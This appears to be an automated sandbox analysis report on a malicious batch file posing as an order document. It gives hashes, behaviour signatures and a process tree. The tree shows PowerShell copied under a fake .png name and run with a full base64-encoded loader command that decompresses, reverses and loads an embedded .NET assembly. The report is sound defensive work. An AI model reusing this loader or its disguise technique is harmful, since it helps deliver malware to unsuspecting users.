Analysis
-
max time kernel
121s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20231020-en -
resource tags
arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system -
submitted
08-12-2023 14:01
Static task
static1
Behavioral task
behavioral1
Sample
ORDER-SUNNY 10005916.bat
Resource
win7-20231020-en
Behavioral task
behavioral2
Sample
ORDER-SUNNY 10005916.bat
Resource
win10v2004-20231130-en
General
-
Target
ORDER-SUNNY 10005916.bat
-
Size
1009KB
-
MD5
27c302e3247d5a9f8fce50cfba636e22
-
SHA1
7939d397dba283814967080fb37913d9076dab49
-
SHA256
1dcd0d42ac6d49c7447bd11b3c08d26b3e03d1000483c8ce1ac6914fd249a6a0
-
SHA512
040e32f01348045b4a9d65666e7bb966150b3ae34e6078b23c0d3c58a8f18e48096091e05ea5bffa09a4f33f93a441e4767a9d9468e8d3f4adbcfc10733b4c70
-
SSDEEP
24576:hHOmVihj9V3HNS0B0dgIx4l0ivt/Ixdt+gnfpV6gXhtnLPv+yqV82DqdFUWvw:h6j3fpI57zPVqmTgj
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
Processes:
Iduou.pngpid process 2400 Iduou.png -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
Iduou.pngpid process 2400 Iduou.png -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Iduou.pngpid process 2400 Iduou.png -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Iduou.pngdescription pid process Token: SeDebugPrivilege 2400 Iduou.png -
Suspicious use of WriteProcessMemory 25 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 1684 wrote to memory of 2452 1684 cmd.exe cmd.exe PID 1684 wrote to memory of 2452 1684 cmd.exe cmd.exe PID 1684 wrote to memory of 2452 1684 cmd.exe cmd.exe PID 1684 wrote to memory of 2476 1684 cmd.exe xcopy.exe PID 1684 wrote to memory of 2476 1684 cmd.exe xcopy.exe PID 1684 wrote to memory of 2476 1684 cmd.exe xcopy.exe PID 1684 wrote to memory of 2656 1684 cmd.exe cmd.exe PID 1684 wrote to memory of 2656 1684 cmd.exe cmd.exe PID 1684 wrote to memory of 2656 1684 cmd.exe cmd.exe PID 2656 wrote to memory of 2160 2656 cmd.exe cmd.exe PID 2656 wrote to memory of 2160 2656 cmd.exe cmd.exe PID 2656 wrote to memory of 2160 2656 cmd.exe cmd.exe PID 2656 wrote to memory of 2764 2656 cmd.exe xcopy.exe PID 2656 wrote to memory of 2764 2656 cmd.exe xcopy.exe PID 2656 wrote to memory of 2764 2656 cmd.exe xcopy.exe PID 2656 wrote to memory of 2288 2656 cmd.exe cmd.exe PID 2656 wrote to memory of 2288 2656 cmd.exe cmd.exe PID 2656 wrote to memory of 2288 2656 cmd.exe cmd.exe PID 2656 wrote to memory of 2668 2656 cmd.exe xcopy.exe PID 2656 wrote to memory of 2668 2656 cmd.exe xcopy.exe PID 2656 wrote to memory of 2668 2656 cmd.exe xcopy.exe PID 2656 wrote to memory of 2400 2656 cmd.exe Iduou.png PID 2656 wrote to memory of 2400 2656 cmd.exe Iduou.png PID 2656 wrote to memory of 2400 2656 cmd.exe Iduou.png PID 2656 wrote to memory of 2400 2656 cmd.exe Iduou.png
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\ORDER-SUNNY 10005916.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1684 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "2⤵PID:2452
-
C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Iduou.png2⤵PID:2476
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ORDER-SUNNY 10005916.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:2656 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "3⤵PID:2160
-
C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Iduou.png3⤵PID:2764
-
C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\ORDER-SUNNY 10005916.bat" C:\Users\Admin\AppData\Local\Temp\Iduou.png.bat3⤵PID:2668
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "3⤵PID:2288
-
C:\Users\Admin\AppData\Local\Temp\Iduou.pngC:\Users\Admin\AppData\Local\Temp\Iduou.png -win 1 -enc JABBAGIAcQB5AGwAYwBiAGYAcgBvACAAPQAgAFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEwAaQBuAGUAcwAoACgAKABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQApAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAiAC4AYgBhAHQAIgApACwAIABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAApACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAGwAYQBzAHQAIAAxADsAIAAkAEcAYwBxAHMAcwBuAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAQQBiAHEAeQBsAGMAYgBmAHIAbwApADsAJABKAHQAdABjAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEcAYwBxAHMAcwBuAGQAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAVQB2AGoAZABtAGcAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABKAHQAdABjAHAALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAFUAdgBqAGQAbQBnAGwALgBDAG8AcAB5AFQAbwAoACAAJABvAHUAdABwAHUAdAAgACkAOwAkAFUAdgBqAGQAbQBnAGwALgBDAGwAbwBzAGUAKAApADsAJABKAHQAdABjAHAALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABHAGMAcQBzAHMAbgBkACAAPQAgACQAbwB1AHQAcAB1AHQALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEcAYwBxAHMAcwBuAGQAKQA7ACAAJABWAG0AaABoAHEAZABwACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAEcAYwBxAHMAcwBuAGQAKQA7ACAAJABQAHEAawBpAHkAbABpAGMAcgAgAD0AIAAkAFYAbQBoAGgAcQBkAHAALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABQAHUAZABxAHcAbgBzAGUAdAB4AG8AIAA9ACAAJABQAHEAawBpAHkAbABpAGMAcgAuAEcAZQB0AE0AZQB0AGgAbwBkAHMAKAApAFsAMABdAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2400
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
442KB
MD592f44e405db16ac55d97e3bfe3b132fa
SHA104c5d2b4da9a0f3fa8a45702d4256cee42d8c48d
SHA2566c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7
SHA512f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f
-
Filesize
442KB
MD592f44e405db16ac55d97e3bfe3b132fa
SHA104c5d2b4da9a0f3fa8a45702d4256cee42d8c48d
SHA2566c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7
SHA512f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f